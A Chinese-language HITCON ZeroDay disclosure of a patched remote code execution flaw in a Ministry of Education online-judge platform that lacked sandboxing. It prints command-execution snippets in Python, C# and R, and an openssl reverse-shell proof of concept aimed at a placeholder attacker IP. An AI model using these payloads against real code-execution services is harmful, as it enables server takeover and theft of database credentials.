教育部-ITSA程式自學平台 遠端程式碼執行漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00617
  •  發信 Vendor: 教育部-ITSA程式自學平台
  • Title: 教育部-ITSA程式自學平台 遠端程式碼執行漏洞
  • Introduction: 站點存在遠端程式碼執行漏洞

處理狀態

目前狀態

公開
Last Update : 2025/07/16
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/06/22 03:59:50 : 新提交 (由 anonymous 更新此狀態)
  • 2025/06/22 04:00:55 : 新提交 (由 anonymous 更新此狀態)
  • 2025/06/26 23:24:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/30 15:21:46 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/30 15:21:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/30 15:21:46 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/08 09:09:05 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/07/16 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00617
  • 通報者:xcultivation (anonymous)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://etutor2.itsa.org.tw/mod/topics/view.php?id=42592

敘述

平台的線上程式解題系統未進行沙箱隔離, 攻擊者可提交一個包含系統指令的程式碼, 執行任意程式碼, 進而取得資料庫之帳號密碼

我找到Python、C Sharp及R語言可利用

Python

try:
    importer = __builtins__.__dict__['__import__']
    os_module = importer('os')
    system_func = getattr(os_module, 'system')
    system_func("要執行的命令")
except Exception as e:
    print(e)

C Sharp

using System;
using System.Diagnostics;

public class Program
{
    public static string ExecuteCommand(string command)
    {
        try
        {
            var process = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "/bin/bash",
                    // -c 參數會讓 bash 執行後面的字串作為指令
                    Arguments = $"-c \"{command}\"", 
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true,
                }
            };

            process.Start();
            string result = process.StandardOutput.ReadToEnd();
            process.WaitForExit();
            return result;
        }
        catch (Exception e)
        {
            return e.ToString();
        }
    }

    // --- 主程式進入點 ---
    public static void Main()
    {
        // ===============================================================
        // =                                                             =
        // =             在這裡修改你要執行的指令                        =
        // =                                                             =
        // ===============================================================
        string commandToExecute = "你要執行的命令";

        string output = ExecuteCommand(commandToExecute);

        Console.WriteLine(output);
    }
}

R語言

system("你要執行的命令")

概念性驗證(Proof of Concept)

這裡用Python舉例, 產生openssl的reverse shell

產生金鑰與憑證

sudo openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes

圖片

監聽 port 443

sudo openssl s_server -quiet -key key.pem -cert cert.pem -port 443

圖片

提交測試

try:
    importer = __builtins__.__dict__['__import__']
    os_module = importer('os')
    system_func = getattr(os_module, 'system')
    system_func("echo -n 'mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻擊者ip地址:443 > /tmp/s; rm /tmp/s")
except Exception as e:
    print(e)

圖片

取得shell
圖片

修補建議

建議建立沙箱環境隔離

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;